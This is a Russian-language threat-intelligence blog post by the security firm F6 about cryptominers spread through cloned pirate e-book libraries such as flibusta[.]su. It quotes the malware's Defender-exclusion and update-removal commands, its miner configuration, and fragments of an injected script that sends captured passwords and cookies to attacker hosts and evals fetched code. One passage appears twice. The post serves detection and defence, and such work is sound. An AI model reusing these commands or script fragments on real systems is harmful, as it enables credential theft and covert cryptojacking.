Майнеры на книжной полке: ЦК F6 зафиксировал распространение вредоносных программ через бесплатные онлайн-библиотеки - F6

Весной 2025 года аналитиками Центра кибербезопасности F6 (ЦК F6) была обнаружена волна распространения майнеров, вредоносного ПО для скрытой добычи криптовалют, через бесплатные онлайн-библиотеки электронных книг. 

Центр кибербезопасности (ЦК) – центр круглосуточного мониторинга и реагирования на инциденты информационной безопасности компании F6. Используя современные технологии для защиты от сложных угроз, аналитики ЦК оперативно обнаруживают и нейтрализуют угрозы на начальных стадиях их развития, тем самым минимизируют последствия инцидентов и обеспечивают надежную защиту инфраструктуры компаний.

Широко известная в Интернете пиратская библиотека Флибуста была заблокирована на территории РФ в 2016. В результате появился ряд похожих сайтов, откуда пользователи скачивали книги или “ознакомительные фрагменты”  без необходимости искать пути обхода блокировок для доступа к пиратской библиотеке. 

Вектор распространения вредоносных программ через ресурсы, предлагающие пиратский контент или взломанные версии различных программ, давно известен, при этом риски, связанные с бесплатными онлайн-библиотеками, требуют отдельного разбора.

В этом материале мы опишем недавний кейс Центра кибербезопасности с обнаружением и локализацией угрозы, а также разберем образец майнера и ресурсы, с которых он попал в сеть клиента.

Обстоятельства инцидента

Одним весенним утром система Managed XDR F6 сформировала алерт по подозрительной активности на одной из рабочих станций Заказчика. При анализе алерта аналитиком ЦК F6 было обнаружено, что с помощью PowerShell вносились изменения в исключения встроенного средства антивирусной защиты Windows Defender, связанные с добавлением директорий и расширений исполняемых файлов в исключения. Помимо этого был создан и запущен сервис GoogleUpdateTaskMachineQC для закрепления в системе.

Рисунок 1. Цепочка процессов из алерта

При анализе сырой телеметрии было выявлено исполнение процесса explorer.exe с подозрительными аргументами, а также обращение к домену dodoloo[.]quest от этого же процесса. 

Рисунок 2. Событие, свидетельствующее об обращении к домену dodoloo[.]quest от процесса explorer.exe

Локализация угрозы

В рамках услуги по реагированию на инциденты (Managed Response) на задействованном устройстве была проведена сетевая изоляция при помощи встроенного функционала в модуль EDR. Далее с устройства была собрана криминалистически значимая информация для дальнейшего анализа.

Managed Response — сервис Центра кибербезопасности F6, обеспечивающий оперативное реагирование на инциденты информационной безопасности.

В ходе исследования инцидента и выявления источника заражения аналитики ЦК обнаружили, что пользователь самостоятельно скачал файл с ресурса flibusta[.]su и затем запустил его.

Рисунок 3. Сведения, полученные при анализе истории браузера

Полученный в ходе исследования инцидента вредоносный архив был загружен в модуль MDP, предназначенный для анализа вредоносного кода в виртуальной изолированной среде. С отчетом можно ознакомиться по ссылке

После локализации инцидента необходимо было понять функциональные особенности задействованного в инциденте экземпляра вредоносного ПО и параллельно изучить ресурс, с которого он был загружен.

Анализ майнера криптовалюты

Загруженное вредоносное ПО представляет из себя zip-архив, в котором находится 2 файла:

  1. `.exe` с названием книги — легитимный файл программы `Sandboxie` (`sbiesvc.exe`), которая является бесплатной песочницей для анализа ПО.
  2. `SbieDll.dll` — файл, который содержит вредоносный функционал.

Рисунок 4. Содержимое вредоносного архива

Процесс запуска вредоносного кода строится на технике `DLL Sideloading`, подменяя оригинальный `sbiedll.dll`, который нужен исполняемому файлу. Так как `dll` лежит рядом, `Sandboxie` будет подгружать именно её.

`sbiedll` основывается на утилите `SilentCryptoMiner`, которая доступна на `github`. Замечено, что `dll` периодически модифицируется при сборке из исходного кода, то добавляя, то убирая разные функциональные особенности. Один из таких примеров: 

После дешифрования секции, в которой находится основная вредоносная нагрузка, отправляется POST-запрос по адресу `91.149.239[.]161:53` и ожидается ответ. Если его не последовало после нескольких попыток — образец просто не продолжит работу.

Поскольку исходный код расположен в открытом доступе , разберем кратко механизм его работы.

Подготовка системы и обход средств защиты

Первым делом вредоносный образец подготавливает систему к майнингу. С помощью `powershell` добавляются исключения в средство антивирусной защиты Windows Defender для директорий и расширений, которые будут в дальнейшем использованы для копирования себя:

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension @('.exe','.dll') -Force

С помощью `wusa.exe` деинсталлируется обновление, содержащее утилиту `Microsoft Malicious Software Removal Tool`, чтобы она не смогла удалить майнер во время его выполнения:

C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

Остановка сервисов, непосредственно связанных с `Window Updater`: `UsoSvc`, `WaaSMedicSvc`, `wuauserv`, `bits`, `dosvc`.

Предотвращается переход в режим гибернации и ожидания:

powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

Также майнер имеет возможность внедрить вредоносную нагрузку в `conhost.exe`, который используется как watchdog, проверяя каждые 5 секунд наличие своего сервиса и доступность извлеченных исполняемых файлов в папке `\ProgramData\Google\Chrome\`.

Закрепление в системе

Следующий шаг: мимикрия под сервис обновления браузера `Google` с помощью удаления текущего сервиса и создания нового.

C:\WINDOWS\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"

После создания сервиса он копирует себя и исполняемый файл в папку `C:/ProgramData/Google/Chrome/`, переименовывая `exe` в `updater.exe` и оставляя свое имя нетронутым.

Подготовка к майнингу

Вредоносное ПО извлекает драйвер `WinRing0.sys`, который позволяет увеличить производительность майнера за счет доступа к более низкому уровню — к `MSR` регистрам на уровне операционной системы. `WinRing` часто попадается на хостах с майнерами.

Далее собирает информацию о `GPU`, перебирает все процессы в системе и внедряется в легитимный процесс `explorer.exe`, если такой найден, чтобы скрыть свою активность. После чего переходит непосредственно к майнингу, используя следующую конфигурацию:

--algo=rx/0 --url=dodoloo[.]quest:3333 --user= --pass= --cpu-max-threads-hint=30 --cinit-winring=bqipcavwvyph.sys --randomx-no-rdmsr --cinit-stealth-targets=Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe --cinit-api=https://m4yuri[.]online/better/api/endpoint.php --cinit-version=3.5.4d --tls --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-id=

Анализ ресурса

Ресурс flibusta[.]su предположительно был создан для перенаправления трафика на платформы с платным доступом к книгам. На сайте заявлены доступы к полным версиям произведений  в форматах FB2, EPUB, PDF и MP3, но на практике доступны лишь фрагменты. Для скачивания полных версий требуется переход на легитимные сервисы с электронными и аудиокнигами.

Рисунок 5. Файл с ознакомительным фрагментом, загруженный с ресурса flibusta[.]su

В ходе анализа ресурса установлено, что он копирует оригинальную онлайн-библиотеку Флибуста, и с него распространяется вредоносное ПО с помощью встроенного в веб-страницу скрипта.

Рисунок 6. Внешний вид ресурса flibusta[.]su

Анализ скрипта

На главной странице встроен скрипт `ssl1[.]cbu[.]net/ajznlqls`, служащий начальной точкой в цепочке атаки. 

Его первая функция проверяет, содержится ли на странице тег `title` со значением `«cbu[.]net»` или тег `alt` со значением `«ssl1[.]cbu[.]net»`. Если такие найдены, то скрипт очищает данные теги от других скриптов при помощи удаления содержимого `<script></script>`

Выполнение изменяется в зависимости от устройства, который использует пользователь на сайте. Устройство определяется на основе информации о браузере и User-Agent.

const is_mobile = function (check_if_mobile) { return /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry...); }(navigator.userAgent || navigator.vendor || window.opera);

Если скрипт определяет, что устройство — это смартфон, он просто получает введенные пароли в логин-форму на странице с помощью изменения стандартной обработки события «Submit»

try { (function () { let handle_to_password_attr = document.querySelector("input[type=\"password\"]"); if (handle_to_password_attr) { document.body.addEventListener("submit", function (event) {

Получив введенный пароль, скрипт подготавливает для отправки на сервер структуру, закодированную в base64, где `form` это объект с паролем, а `url` — текущий url страницы:

const base_64_encoded_data = btoa(JSON.stringify({ 'form': formObject, 'url': window.location.href })).replaceAll('/', '_').replaceAll('+', '-');

Данные отправляются злоумышленнику с помощью запроса:

https://ssl1[.]cbu[.]net/form/

Если используется не телефон, то к краже паролей добавляется доставка майнера.

Параллельно с основной логикой скрипт создает два воркера, которые сообщают друг другу, что вредоносные действия выполняются без сбоев. Пример:

Первый воркер отправляет каждые 500 мс сообщение ‘ack‘.

"use strict"; let port = null; let ackUpdated = false; onmessage = (ev) => { if (ev.data === "start") { port = ev.ports[0]; port.onmessage = (ev) => { ackUpdated = true; }; setInterval(()=>{ if (ackUpdated) { ackUpdated = false; }else{ postMessage("cb"); } },1500) } }

Второй воркер раз в 1500 мс проверяет, пришло ли сообщение.

Продолжение работы при входе с  десктоп-устройства

После проверки устройства скрипт создает структуру для идентификации пользователя:

const base64_data = btoa(JSON.stringify({ 'url': window.location.href, 'cookie': document.cookie, 'code': all_unique_urls_string, 'timezone': Intl.DateTimeFormat().resolvedOptions().timeZone, 'last_visit': localStorage.getItem("last_visit") })).replaceAll('/', '_').replaceAll('+', '-');

Закодированная в base64 структура отправляется запросом вида:

https://gateway[.]pinata[.]cloud/ipfs/

После его получения, выполняется второй запрос на вышеуказанный `url`. Получив ответ, извлекается его «тело» (то, что возвращает сервер) и передается в функцию `eval()`, что запускает следующий шаг цепочки.

Скрипт второй: подготовка и доставка ВПО

Первым делом идет проверка операционной системы, в случае если у жертвы установлена отличная от Windows операционная система — скрипт прекращает работу:

function is_windows() { if (localStorage.getItem('forceWindows')) { return true; } const A = ['Win32', 'Win64', 'Windows', 'WinCE']; return A.indexOf(window.navigator?.userAgentData?.platform || window.navigator.platform) !== -1; } if (!is_windows()) { return; }

Далее скрипт обращается к вредоносному домену для последующей загрузки ВПО.

https://ssl1[.]cbu[.]net/extra_ban/ajznlqls/${localStorage.getItem(‘last_visit’)}

и, получив в ответе `{«ok»:true}`, начинает готовить вредоносное ПО к доставке. 

Достав с домена https://file[.]ipfs[.]us[.]69[.]mu 2 файла, — `.dll` и `.exe`, он сразу меняет имя исполняемого файла исходя из названия заголовка страницы или названия книги, добавляя в конце строчку ` — Archive.exe`. Библиотеке же присваивает имя SbieDll.dll:

https://ssl1[.]cbu[.]net/extra_ban/ajznlqls/${localStorage.getItem('last_visit')}

И,получив в ответе `{«ok»:true}`, начинает готовить вредоносное ПО к доставке. 

Достав с домена https://file[.]ipfs[.]us[.]69[.]mu 2 файла, — `.dll` и `.exe`, он сразу меняет имя исполняемого файла исходя из названия заголовка страницы или названия книги, добавляя в конце строчку ` — Archive.exe`. Библиотеке же присваивает имя SbieDll.dll:

try { filename = document.getElementsByClassName('b_download_title')[0].innerText; } catch (e) { try { filename = document.getElementsByClassName('book_name')[0].innerText; } catch (e) { filename = document.getElementsByTagName('h1')[0].innerText; } } ... zip_handle.file(`${filename} - Archive.exe`, sandboxie_exe); zip_handle.file('SbieDll.dll', malware_dll);

Когда пользователь нажимает на кнопку скачивания книги, скрипт активирует вышеуказанную логику за счет обработчика эвента `click` в классе `sect-download`.

if (document.getElementsByClassName('sect-download').length > 0) { document.addEventListener('click', function (e) { var target_element = e.target.closest('span'); if (target_element && target_element.className.indexOf('link') >= 0) { animate_loading_text(document.getElementsByClassName('sect-download')[0], 'Загрузка завершена.'); download_n_prepare_malware(); e.preventDefault(); e.stopPropagation(); } }); }

Таким образом, пользователь получает на свой хост майнер криптовалюты, мимикрирующий под архив с книгой.

Анализ масштаба вредоносной кампании

В ходе исследования домена flibusta[.]su с помощью графового анализа Graph Threat Intelligence F6 аналитики Центра Кибербезопасности обнаружили подобные ресурсы, замешанные в данной кампании:

  • flibusta[.]one
  • flibusta[.]top
  • mir-knig[.]xyz
  • litmir[.]site

Рисунок 7. Графовые связи онлайн-библиотек

Помимо этого было установлено, что вредоносный скрипт был внедрен на других ресурсах различной тематики, в том числе на русскоязычных и зарубежных сайтах интернет-магазинов и площадках для хобби. Например, он был замечен у румынского онлайн-магазина принадлежностей для рыбной ловли.  Учитывая разнообразие ресурсов, мы предпологаем, что они были взломаны и инфицированы вредоносным кодом.

Для понимания масштаба кампании  необходимо определить, как часто пользователи ищут определенные ресурсы с бесплатными книгами и какое количество посещений у «инфицированных» сайтов.

Исходя из информации, полученной в Вордстат (сайт со статистикой поисковых запросов к Яндексу), в среднем ежемесячное количество запросов Флибуста”, достигает 135 тысяч, также самые популярные варианты включают:

  • «Флибуста книги» (~24 тыс. запросов),
  • «Флибуста бесплатно» (~20 тыс.),
  • «Флибуста скачать» (~19 тыс.).

Рисунок 8. Статистика запросов «Флибуста» в поисковике Яндекса

В сервисе Google Trends нет функционала для просмотра точного числа посещений. В нем реализована метрика динамики популярности. Числа обозначают уровень интереса к теме по отношению к наиболее высокому показателю в таблице для определенного региона и периода времени. 100 баллов означают наивысший уровень популярности запроса, 0 баллов означает местоположение, по которому недостаточно данных о рассматриваемом запросе. 

Рисунок 9. Динамика популярности запросов “Флибуста” в Google

Статистика посещений ресурсов показывает популярность данных сайтов у пользователей, которые рискуют загрузить майнинговое ВПО на свое устройство.

Название сайта Статистика посещений за Февраль 2025 Статистика посещений за Март 2025 Статистика посещений за Апрель 2025
flibusta.su ~7.6 млн ~8.9 млн ~6.9 млн
flibusta.one ~2.2млн ~2.7млн ~1.9млн
flibusta.top ~139 тыс. ~145 тыс. ~95 тыс.
mir-knig.xyz ~93 тыс. ~77 тыс. ~53 тыс.
litmir.site ~26 тыс. ~37 тыс. ~6.5 тыс.

Несмотря на большое количество посещений, потенциальных жертв заражения именно майнинговым ПО меньше, так как большая часть пользователей заходит с мобильных устройств. Это связано с тем, что встроенный скрипт на странице проверяет устройство, с которого пользователь посетил ресурс, в случае мобильного устройства вредоносное ПО не загружается. 

Название сайта Посещение с Desktop Посещение с MobileWeb
flibusta.su 11% 89 %
flibusta.one 7% 93 %
flibusta.top 56% 44 %
mir-knig.xyz 65% 35%
litmir.site 100% 0 %

По результату анализа ресурсов мы можем сделать вывод, что количество поисковых запросов и посещений имеют большую популярность, что говорит об интересе пользователей к бесплатному книжному контенту. При этом география запросов охватывает преимущественно страны СНГ.

Рисунок 10. Соотношение посещений с мобильных и десктоп-устройств

 

Заключение

Использование пиратских, сомнительных сервисов для скачивания книг это серьезная угроза цифровой безопасности. Как показывает практика, за безобидной обложкой электронной книги может скрываться вредоносное ПО, включая майнеры, которые незаметно расходуют ресурсы вашего устройства, замедляют его работу и ставят под удар конфиденциальные данные. 

Главное помнить, что чтение книг должно приносить удовольствие и знания, а не риск стать жертвой киберпреступников.

Рекомендации, как избежать заражения

  1. Регулярно проводить обучение сотрудников организации с целью повышения знаний об актуальных угрозах в области информационной безопасности.
  2. Рекомендовать сотрудникам не использовать личные устройства, такие как ПК и ноутбуки, для выполнения рабочих задач.
  3. Сформировать перечень утилит, разрешенных к применению в корпоративной инфраструктуре, запрещая использование любых других, не входящих в данный список.
  4. Ограничить возможность самостоятельной установки программного обеспечения на рабочие устройства для обычных пользователей.

Авторы исследования выражают благодарность за помощь в подготовке блога руководителю отдела по реагированию на киберинциденты ЦК Аветику Надиряну, а также старшему аналитику ЦК Алексею Федосееву. 

MITRE ATT&CK®

(TA0001) Initial Access (T1189) Drive-by Compromise Вредоносное ПО попадает на устройство путем загрузки его с ресурса пользователем.
(TA0002) Execution (T1204.002) User Execution: Malicious File Заражение происходит в связи с запуском вредоносного ПО собственноручно пользователем.
(T1059.001) PowerShell Вредоносное ПО использует Powershell для изменения исключений встроенного антивируса Microsoft Defender.
(T1569.002) System Services: Service Execution Вредоносное ПО запускается при наличии созданного сервиса.
(TA0003) Persistence (T1574.001) Hijack Execution Flow: DLL Процесс запуска вредоносного кода строится на технике `DLL Sideloading`, подменяя оригинальный `sbiedll.dll`, который нужен исполняемому файлу. 
(T1543.003) Create or Modify System Process: Windows Service Вредоносное ПО закрепляется в системе путем создания службы.
(TA0005) Defense Evasion (T1562.001) Impair Defenses: Disable or Modify Tools Вредоносное ПО джобавляет в исключения Windows Defender пути и расширения.
(T1562.010) Impair Defenses: Downgrade Attack С помощью `wusa.exe` деинсталлируется обновление, содержащее утилиту `Microsoft Malicious Software Removal Tool`, чтобы она не смогла удалить майнер во время его выполнения.
(T1562.002) Impair Defenses: Disable Windows Event Logging Вредоносное ПО отключает логирование в Windows.
(T1655) Masquerading Вредоносное ПО переименовывается под легитимный файл chrome.
(TA0011) Command and Control (T1071.004) Application Layer Protocol: DNS Вредоносное ПО обращается к доменным именам для получения конфигурации для работы майнера.
(TA0040) Impact (T1496.001) Resource Hijacking: Compute Hijacking Вредоносное ПО использует вычислительные мощности зараженного устройства для добычи криптовалюты.